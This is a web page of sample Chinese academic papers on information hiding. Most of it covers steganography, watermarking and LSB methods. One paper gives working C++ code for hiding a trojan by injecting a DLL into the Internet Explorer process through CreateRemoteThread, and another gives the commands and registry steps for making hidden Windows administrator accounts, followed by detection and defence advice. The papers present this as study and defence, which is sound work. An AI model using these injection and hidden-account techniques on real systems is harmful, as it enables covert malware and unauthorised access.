HI,欢迎来到好期刊网,发表咨询:400-888-9411 订阅咨询:400-888-1571证券代码(211862)

隐藏技术论文集锦9篇

时间:2023-03-07 15:00:24

隐藏技术论文

隐藏技术论文范文1

[关键词] 信息隐藏信息安全电子商务数据保密防伪

通常人们认为对信息加密就可以保证通讯的安全,但是在网络传输中仅仅使用加密技术通常是不够的。现代密码学开发出来的加解密系统不管是对称密钥系统(如DES),还是安全性更高的公开密钥系统(RSA),经过加密算法处理所生成的密文具有随机性、不可读,反而明确提示了保密信息的存在,因而很容易引起监控者的注意,并以此为依据进行对密文的破译或对发送者和接收者的攻击。采用加密技术的另一个潜在缺点是随着计算机硬件的迅速发展,具有并行计算能力的破解技术的日益成熟,仅通过增加密钥长度来达到增强安全性已不再是唯一的可行方法。因此,近年来国际上出现了信息隐藏技术,它是一种不同于密码术的技术,它在电子商务中安全体系中必将起到重要作用。

一、信息隐藏技术的含义与方法

信息隐藏技术(Information Hiding),也称作数据隐藏(Data Hiding),它是集多学科理论与技术于一身的新兴技术领域。信息隐藏技术主要是指将特定的信息嵌入数字化宿主信息(如文本、数字化的声音、图像、视频信号等)中,它的目的不在于限制正常的信息存取和访问,而在于保证隐藏的信息不引起监控者的注意和重视,从而减少被攻击的可能性,在此基础上再使用密码术来加强隐藏信息的安全性,因此信息隐藏比信息加密更为安全。应该注意到,密码术和信息隐藏技术不是互相矛盾、互相竞争的技术,而是相互补充的技术,他们的区别在于应用的场合不同,对算法的要求不同,但可能在实际应用中需要互相配合。特定的信息一般就是保密信息,信息隐藏的历史可以追溯到古老的隐写术,但推动了信息隐藏的理论和技术研究始于1996年在剑桥大学召开的国际第一届信息隐藏研究会,之后国际机构在信息隐藏领域中的隐写术、数字水印、版权标识、可视密码学等方面取得大量成果。

信息隐藏是一个十分活跃的研究领域,虽然其载体可以是文字、图像、语音或视频等不同格式的文件,但使用的方法没有本质的区别。因此,下面将以信息隐藏技术在图像中的应用即遮掩消息选用数字图像的情况为例进行说明。

在图像中应用的信息隐藏技术基本上可分为两大类:时域法或频域法。时域法就是直接改变图像元素的值,一般是在图像的亮度或色带中加入隐藏的内容。这种方法比较有代表性的是最不重要比特位(the Least Significant Bits,LSB)方法,该方法也是最早被应用的信息隐藏方法。遮掩消息的LSB直接被待隐消息的比特位或两者之间经过某种逻辑运算的结果所代替。LSB算法的主要优点是可以实现高容量和较好的不可见性。但是该算法容易被第三方发现并得到,遭到破坏,而对图像的各种操作如压缩、剪切等,都会使算法的可靠性受到影响。为了增强算法的性能,提出了各种改进的方法,如利用伪序列,以“随机”的顺序修改图像的叠像技术(LSM);在使用密钥的情况下,才能得到正确的嵌入序列等。频域法是利用某种数学变换,将图像用频域表示,通过更改图像的某些频域系数加入待隐信息,然后再利用反变换来生成隐藏有其他信息的图像。各种不同的数学变换都可以被使用,目前已有的方法主要集中在小波变换、频率变换、DCT(低频分量)变换等。

二、信息隐藏技术在电子商务中的应用

目前信息隐藏技术在电子商务中的应用主要体现在以下几个方面:

1.数据保密

在具体电子商务活动中,数据在Internet上进行传输一定要防止非授权用户截获并使用,如敏感信息、谈判双方的秘密协议和合同、网上银行交易中的敏感数据信息、重要文件的数字签名和个人隐私等等。另外,还可以对一些不愿为别人所知道的内容使用信息隐藏的方式进行隐藏存储。

2.数据的不可抵赖性

在网上交易中,交易双方的任何一方不能抵赖自己曾经做出的行为,也不能否认曾经接收到的对方的信息,这是交易系统中的一个重要环节。这可以使用信息隐藏技术中的水印技术,在交易体系的任何一方发送或接收信息时,将各自的特征标记以水印的形式加入到传递的信息中,这咱水印应是不能被去除的,可达到确认其行为的目的。

3.防伪

商务活动中的各种票据的防伪也是信息隐藏技术的用武之地。在数字票据中隐藏的水印经过打印后仍然存在,可以通过再扫描回数字形式,提取防伪水印,以证实票据的真实性。

4.数据的完整性

对于数据完整性的验证是要确认数据在网上传输或存储过程中并没有被窜改,可通过使用脆弱水印技术保护的媒体一旦被窜改就会破坏水印,从而很容易被识别。

隐藏技术论文范文2

关键词:信息安全,信息隐藏

 

一、关于信息隐藏

所谓的信息隐藏,是利用媒体信息普遍存在的冗余特性,将秘密信息隐藏在其他媒体信息中,其首要目标就是使加入隐藏信息后的媒体目标的质量下降,尽可能地小,使人无法觉察到隐藏的数据,或者知道它的存在,但未经授权者无法知道它的位置。并不像传统加密过的文件一样,看起来是一堆会激发非法拦截者破解机密资料动机的乱码,而是看起来和其它非机密性的一般资料无异,因而十分容易逃过非法拦截者的破解。其道理如同生物学上的保护色,巧妙地将自己伪装隐藏于环境中,免于被天敌发现而遭受攻击。被人们誉为历史学之父的古希腊历史学家希罗多德(Herodotus, 486—425),在其著作中讲述了这样一则故事:一个名叫Histaieus的人筹划着与他的朋友合伙发起叛乱,里应外合,以便推翻波斯人的统治。他找来一位忠诚的奴隶,剃光其头发并把消息刺在头皮上,等到头发又长起来了,把这人派出去送“信”,最后叛乱成功了。

信息隐藏技术是20世纪90年代中期从国外兴起的一门集多学科理论与技术与一身的新兴技术领域,它涉及感知科学、信息论、密码学等多个学科领域,涵盖信号处理、扩频通信、图像处理等多种专业技术的研究方向。

人的眼睛或耳朵本身对某些信息都有一定的掩蔽效应,利用人的这些特点,可以很好地将信息隐藏而不被察觉。信息隐藏过程一般由密钥来控制,通过嵌入算法将有意义的信息即嵌入对象隐藏于掩护对象中,从而生成隐密载体,隐密载体通过信道传输到接受端。在密钥的控制下采用特定的提取算法从隐藏载体中提取出嵌入对象,利用密钥从中恢复或检测出隐藏的秘密信息,从而使用户获得真实可靠的信息。使非法者不知道这个载体信息中是否隐藏了其它的信息,而且即使知道,也难以提取隐藏的信息,从而实现信息的保密。

据目前已经提出的信息隐藏算法,从它们对载体的修改方式上进行分类,可以分为:时域(空域)替换技术、变换域技术、扩展频谱技术、统计方法等等。

二、信息隐藏的特点

利用不同的媒体进行信息掩藏时有着不同的特点,但是它们都必须具有下列基本特征。

1.隐蔽性。指嵌入信息后在不引起秘密信息质量下降的前提下,不显著改变掩护对象的外部特征,即不引起人们感官上对掩护对象变化的察觉。以使非法拦截者无法判断是否有秘密信息的存在。

2.不可测性。指隐蔽载体与原始载体具有一致的特性,即非法拦截者要检测到秘密信息的存在并提取出来应相当困难,至少在秘密信息的有效期内是不可能的。

3.不可见性。利用人类视觉系统和听觉系统的属性,经过一系列隐藏处理, 使目标资料没有明显的降质现象,而隐藏的资料却无法人为地看见或听见.

4.鲁棒性。指不因图像文件的某种改动而导致隐藏信息丢失的能力。这里所谓“改动”包括传输过程中的隐藏载体对一般的信号处理(如滤波、增强、重采样、有损压缩等)、一般的几何变换(如平移、旋转、缩放、分割等)和恶意攻击等情况,即隐藏载体不会因为这些操作而丢失了隐藏的秘密信息。

5.自恢复性。指经过了一些操作和变换后,可能会使隐蔽载体受到较大的破坏,如果只留下部分的数据,在不需要宿主信号的情况下,却仍然能恢复隐藏信息的特征就是所谓的自恢复性。

6.安全性。指隐藏算法有较强的抗攻击能力,即它必须能够承受一定程度的人为攻击,而使隐藏信息不会被破坏。

三、信息隐藏的应用

在信息安全领域中,信息隐藏技术的应用可归结为下列几个方面。

1.数字知识产权保护

知识产权保护是信息隐藏技术中数字水印技术和数字指纹技术所力图解决的重要问题,信息隐藏技术的绝大部分研究成果都是在这一应用领域中取得的。随着网络和数字技术的快速普及,通过网络向人们提供的数字服务也会越来越多,如数字图书馆、数字图书出版、数字电视、数字新闻等。这些服务提供的都是数字产品,数字产品具有易修改、易复制、易窃取的特点,因此,当前的数字知识产权保护就已经成为迫切需要解决的实际问题。

信息隐藏技术应用于版权保护时,所嵌入的签字信号通常被称作“数字水印”,数字水印技术可以成为解决此难题的一种方案。现在越来越多的视频信号、音频信号和数字图像中被贴上了不可见的标签,用以防止非法拷贝和数据跟踪。服务提供商在向用户发送产品的同时,将双方的信息代码以水印的形式隐藏在作品中,这种水印从理论上讲应该是不被破坏的。当发现数字产品在非法传播时,可以通过提取出的水印代码追查非法散播者。其主要特点是版权保护所需嵌入的数据量小,对签字信号的安全性和鲁棒性要求很高。

2.数据完整性鉴定

使用数字水印技术有一定的缺陷,用于数字水印技术保护的媒体一旦被篡改水印就会被破坏,从而很容易被识别。在数字票据中隐藏的水印经过打印后仍然存在,可以通过再扫描回数字形式,提取防伪水印,以证实票据的真实性。数据完整性鉴定是指对某一信号的真伪或完整性的判别,并需要进一步指出该信号与原始真实信号的差别,以确认资料在网上传输或存储过程中并没有被篡改、破坏或丢失。假定接收到一个如音频、视频或图像等多媒体信号,并初步判断它很可能是某一原始真实信号的修改版本,数据篡改验证的任务就是在对原始信号的具体内容不可知的情况下,以最大的可能判断是否是真实的。首先,要充分利用数据库管理系统提供的数据完整性的约束机制和各种输入数据的引用完整性约束设计,以便保证数据完整、准确的输入和储存。其次,在数据传输过程中可视情况选用相应的数据校验方式对传输数据进行校验检查。

3.数据保密

在网络上传输秘密数据要防止非法用户的截获和使用,这是网络安全的一个重要内容,随着信息技术的发展以及经济的全球化,这一点不仅涉及政治、军事领域,还将涉及到商业、金融机密和个人隐私。信息隐藏技术为网上交流的信息采取了有效的保护,比如电子政务中敏感信息、电子商务中的秘密协议和合同、网上银行交易的重要数据、重要文件的数字签名以及个人隐私等,还可以对一些不愿为别人所知道的内容使用信息隐藏方式进行隐藏储存,从而使数据得到保密,保证了信息的安全性。

4.资料不可抵赖性的确认

在网上交易中,交易双方的任何一方不能抵赖自己曾经做出的行为,也不能否认曾经接收到对方的信息,这是交易系统中一个重要环节。这可以使用信息隐藏技术,在交易体系的任何一方发送和接收信息时,将各自的特征标记形式加入到传递的信息中,这些标记应是不能被去除的,从而达到确认其行为的目的。

结论

总之,信息隐藏技术是多媒体通信和多媒体信号处理领域中近年来新兴的研究方向,它为信息安全提供了一种新的思路,为我们研究信息安全提供了一个新的方向.

目前国际上先进的信息隐藏技术已能做到隐藏的信息可以经受人的感觉检测和仪器的检测,并能抵抗一些人为的攻击。但总的来说,信息隐藏技术尚没有发展到可实用的阶段,使用密码加密仍是网络信息传输的主要安全手段。虽然目前对信息隐藏的研究有了很大的进展,在信息安全中起到了重要的作用,但存在大量的实际问题亟待解决,如信息隐藏的容量问题,如何建立不可感知性的数学度量模型,信息隐藏的容量上界如何计算等;信息隐藏的对立面——隐藏分析如何得到同步发展;如何对信息隐藏进行分析和分类;如何找到信息隐藏技术自己的理论依据,形成完善和科学的理论体系等等。

信息隐藏是一项崭新的技术领域,也是多媒体技术、网络技术研究的前沿,应用前景十分广阔,必将吸引广大图像、语音、网络、人工智能等领域的研究者加入到这一行列,从而推动信息安全技术更快的发展。

参考文献:

[1] 张作林,陈建华.基于区域的信息隐藏技术[J].福建电脑,2005,3.

[2] 张书真.信息安全中的信息隐藏技术[J].电脑知识与技术.2005,18.

[3] 陈 波,谭运猛,吴世忠.信息隐藏技术综述[J].计算机与数字工程.2005,2.

[4] 左伟明,秦姣华.信息隐藏技术研究[J].湖南城市学院学报.2005,3.

[5] 江早.信息隐藏——种崭新的信息安全技术[J].中国图象图形学报.2005,2.

隐藏技术论文范文3

摘要进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。

关键字进程线程木马动态链接库

木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。

1基本原理

在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/2000中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/2000的任务管理器,WindowsNT/2000的任务管理器均能轻松显示出木马进程,难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2实现方法

为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是DynamicLinkLibrary(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

3实施步骤

1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用

OpenProcess()函数打开宿主进程。

2)用VirtualAllocEx()函数分配远程进程地址空间中的

内存。

3)用WriteProcessMemory()函数将待隐藏的DLL的路径名。

4)拷贝到步骤二已经分配的内存中。

5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。

6)用CreateRemoteThread()函数在远程进程中创建一个线程。

7)它调用正确的LoadlibraryA()函数。

8)为它传递步骤二中分配的内存地址。

4具体实例

下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//该头文件包涵了进程操作的API函数

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隐藏的DLL文件名

HANDLEhProcessSnap=NULL;//进程快照句柄

HANDLEhRemoteProcess;//远程进程句柄

LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放远程线程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打开进程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失败返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//获取第一个进程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主进程,以IEXPLORE.EXE为例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//获取下一个进程

}

else

{

MessageBox(NULL,"取第一个进程失败","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打开远程进程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假设hide.dll是待隐藏的进程

intcb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申请存放文件名的空间

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名写入申请的空间

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//获取动态链接库函数地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//创建远程线

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//关闭远程线程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//关闭进程快照

}

该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。

至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//获取当前进程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。

5结束语

进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。

参考文献

隐藏技术论文范文4

木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

本文分析了Windows NT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现Windows NT/2000系统中进程的隐藏。

1 基本原理

在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在Windows NT/2000中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过Windows NT/2000的任务管理器,Windows NT/2000的任务管理器均能轻松显示出木马进程,难道在Windows NT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在Windows NT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2 实现方法

为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

3 实施步骤

1) 用Process32Next()函数找到宿主进程,获取宿主进程ID,并用

OpenProcess()函数打开宿主进程。

2) 用VirtualAllocEx()函数分配远程进程地址空间中的内存。

3) 用WriteProcessMemory()函数将待隐藏的DLL的路径名。

4) 拷贝到步骤二已经分配的内存中。

5) 用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。

6) 用CreateRemoteThread()函数在远程进程中创建一个线程。

隐藏技术论文范文5

关键词: 信息隐藏; LSB; 位图; 混沌序列

中图分类号: TN918?34; TP309 文献标识码: A 文章编号: 1004?373X(2013)09?0088?03

0 引 言

随着Internet技术和多媒体技术的飞速发展,多媒体信息安全问题正日益成为人们关注的焦点[1]。为了确保信息系统的安全,信息加密被广泛应用于各种数据信息系统。与传统加密方法相比,信息隐藏利用人的感觉器官对数字信号的感觉冗余,以数字媒体或数字文件为载体,通过一定的算法将秘密信息隐藏在载体信息中,并且不易被人的知觉系统所觉察,从而达到隐蔽通信的目的[2],近年来,伴随着各种保护多媒体信息安全技术的出现,信息隐藏已成为一门新的学科展现在学术研究的舞台[3]。

典型的信息隐藏算法按隐秘空间的不同,可以分为时域隐藏算法和频域隐藏算法。LSB[4?6](最低有效位)是时域信息隐藏技术最常见的算法,它具有嵌入简单、隐藏容量大、很好的不可感知性等优点,因而被广泛应用于图片信息的加密处理[7?9]。近年来,也出现了许多LSB的改进算法,如文献[10]提出一种动态RS隐写分析算法来诊断LSB隐藏技术;文献[11]提出采用反转模式的LSB替代技术对图片信息进行隐藏;李桂芸等提出一种基于图像向量索引奇偶性进行信息隐藏的算法[12]。虽然上述改进算法都在一定程度上对基于LSB的信息隐藏方法进行了改进,但有的只提高了信息隐藏容量,并未考虑容量提高带来的安全性不足和不可感知性较差的问题;有的提高了信息隐藏的安全性,但处理后的图片较原图片失真很多,或者采用的方法较为复杂。基于这些问题,本文提出一种新的LSB改进算法,以兼顾信息隐藏容量和安全性两个方面。

1 改进算法的原理

最低有效位(LSB)嵌入技术是将信息嵌入像素值的最低比特位,并且为了增加信息的安全性,现有的一些算法通过把秘密信息的各位与载体字节中的每一位进行异或运算然后将所得结果存储在最低位,从而达到信息隐藏的目的。很明显采用这种传统方法,像素每一字节中只有最后一位作为载体空间来隐藏信息,隐藏量势必很低;此外,当信息传送到目的地后,信息的提取需要原载体,这会带来操作上的不方便。基于此,本文从以下两个方面对基于LSB的隐藏技术进行改进:

隐藏技术论文范文6

关键词:用户帐户,隐藏,CMD,注册表

 

用户帐户是指用户定义到Windows的所有信息组成的记录。这些记录包括用户名和用户登录所需的密码、用户帐户所属组,以及用户使用计算机和网络并访问资源的权利和权限。通常管理用户的方式是使用Windows自带的帐户管理工具,例如netuser命令、计算机管理中的本地用户和组等,但是由于这些工具自身存在的缺陷,在使用这些工具的过程中,部分用户账号并没有显示出来,这些帐户也就是通常所说的“隐藏账户”,有时也叫“影子帐户”。

一、隐藏账户的种类。

在windows中的隐藏帐户分为以下几种,下面就来看看这些帐户的本来面目。

1、最简单的隐藏帐户

最简单的隐藏帐户可以在CMD模式下通过命令创建。点击“开始”→“运行”,输入“CMD”后回车,进入到CMD模式。下面使用“net user”命令来创建帐户,命令格式为“net user 帐户名称 账户密码 /add”,输入“net user test$ 123456/add”,回车,成功后会显示“命令成功完成”。

再使用“net user”命令查看当前系统中的帐户信息列表,发现并没有刚才创建的“test$”帐户。那么刚才创建的账户是否真的已经存在了呢?让我们点击“开始”→“运行”,输入“compmgmt.msc”后回车,进入到“计算机管理”,查看其中的“本地用户和组”,在“用户”一项中,发现刚才建立的账户“test$”是存在的(如下图)。

这说明刚才创建的“test$”确实是一个在CMD模式中不能用“net user”命令查看的隐藏帐户。

从上面的过程看,“test$”账户之所以被隐藏,是因为它的用户名有“$”后缀,这是windows自身的一种隐藏机制,而且这种通过特殊后缀名创建的账户只能在CMD中相对于使用“netuser”命令查看时进行隐藏,而对于通过“本地用户和组”查看用户信息则必然“显形”。其实,由于创建账户时默认为将用户加入到“users”组,在CMD模式中可以直接通过查看“users”组来让其“显形”,即在“命令提示符”后输入“netlocalgroup users”就会列出刚才创建的“test$”。并且这种隐藏账户会在用户切换或系统重启时自动“显形”在windows的登录界面中。因此这种隐藏账户的方法是一种初级的隐藏方法,只对那些粗心的管理员有效,是一种入门级的系统账户隐藏技术。

2、注册表型隐藏帐户

上面创建的隐藏账户很容易“显形”,下面通过注册表建立一种在CMD模式和“本地用户和组”中“隐形”的账户。,注册表。

我们都知道,创建的所有账户信息都会记录在注册表中。点击“开始”→“运行”,输入“regedit”后回车,进入到“注册表编辑器”,来到注册表编辑器的“HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames”处,当前系统中所有存在的账户都会在这里显示,当然包括我们的隐藏账户(若发现SAM不能展开,则“HKEY_LOCAL_MACHINESAMSAM”处右击选择“权限”,在弹出的“SAM的权限”编辑窗口中选中“administrators”账户,在下方的权限设置处勾选“完全控制”,完成后点击“确定”即可。然后我们切换回“注册表编辑器”,可以发现“HKEY_LOCAL_MACHINESAMSAM”下面的键值都可以展开了)。点击上面创建的隐藏账户“test$”,可以看到右边的窗格中对应的类型显示为“0x3ec”,在左边“Names”的上级结点“Users”下可以看到对应的“000003EC”,以上内容可能在实验中的显示标识有所不同。

将“test$”的键值导出为test$.reg,同时将“000003EC”导出为test$Value.reg。接下来进入CMD模式,在“命令提示符”后输入“net user test$ /del”将上面建立的隐藏账户删除。最后,将“test$.reg”和“test$Value.reg”导入注册表,至此,注册表型隐藏账户制作完成。,注册表。从这种创建账户的方式中可以看出,每一个账户的关键信息保存在注册表的“Users”的相关结点键值中,可以进一步地通过复制“administrator”的键值来提升隐藏账户的权限。这种创建隐藏用户的方法也可以使用“HideAdmin”这个软件非常容易地完成。

二、“狙击”隐藏账户。

如果入侵者在你的系统中创建这样一些隐藏账户,无疑会给你的系统安全带来极大的危害,下面就采用循序渐进的方式将其“扫地出门”。

1、如果是第一种最简单的隐藏账户,则直接在“在地用户和组”中将其删除即可,只是注意在检查账户列表时不能仅仅依靠CMD模式下的“net user”命令。

2、对于注册表型隐藏账户,在系统重启或进行账户的增删操作后会在“本地用户和组”中“显形”出来。那么是不是就可以像第一种一样直接删除呢?答案是否定的。,注册表。直接删除不能成功执行,那么就只好到注册表中去删除相应的结点项了。

3、如果入侵者创建了一个注册表型隐藏账户,并在此基础上删除了管理员对注册表的操作权限。那么管理员是无法通过注册表删除隐藏账户的,甚至无法知道隐藏账户名称。那我们就只好借助“组策略”的帮助,让黑客无法通过隐藏账户登陆。点击“开始”→“运行”,输入“gpedit.msc”运行“组策略”,依次展开至“审核策略”,双击右边的“审核策略更改”,在弹出的设置窗口中勾选“成功”,然后点“确定”。对“审核登陆事件”和“审核过程追踪”进行相同的设置。这样我们就可以通过“事件查看器”准确得知隐藏账户的名称和登陆的时间。即使入侵者将所有的登陆日志删除,系统还会记录是哪个账户删除了系统日志,这样入侵者的隐藏账户就暴露无疑了。在得知隐藏账户的名称后即使不能删除这个隐藏账户,我们也可以修改其密码让其不能登录,这样该隐藏账户就形同虚设了。,注册表。

三、防范隐藏账户。,注册表。

与其在隐藏账户存在后进行“狙击”,不如事先采用适当的策略,将隐藏账户拒之门外,防患于未然。,注册表。

1、从管理层次上看,应该做好以下工作:

(1)管理员账户在采用强口令的基础上,除完成必要的管理任务外,不得进行日常操作;

(2)账户的增加和删除应该采用登记机制;

(3)账户权限应该采用“最小化”原则,避免越权操作;

(4)管理员应该定期和不定期地对账户列表进行检查,发现非法账户应及时进行处理;

(5)建立必要的账户恢复和应急策略。

2、从技术层次上看,应该做好以下几点:

(1)使用“组策略”配置账户管理;

(2)关闭远程注册表修改服务;

(3)采用多种方式检查用户账户列表;

(4)充分利用事件查看器中的审核信息进行防范。

从以上的分析可以看出,所谓的隐藏账户并不能达到真正的“无形”,只要你理解了windows账户的本质,掌握了一定的安全管理技术,具备良好的安全防范意识,隐藏账户式的攻击就会在你的面前知难而退。

参考文献:

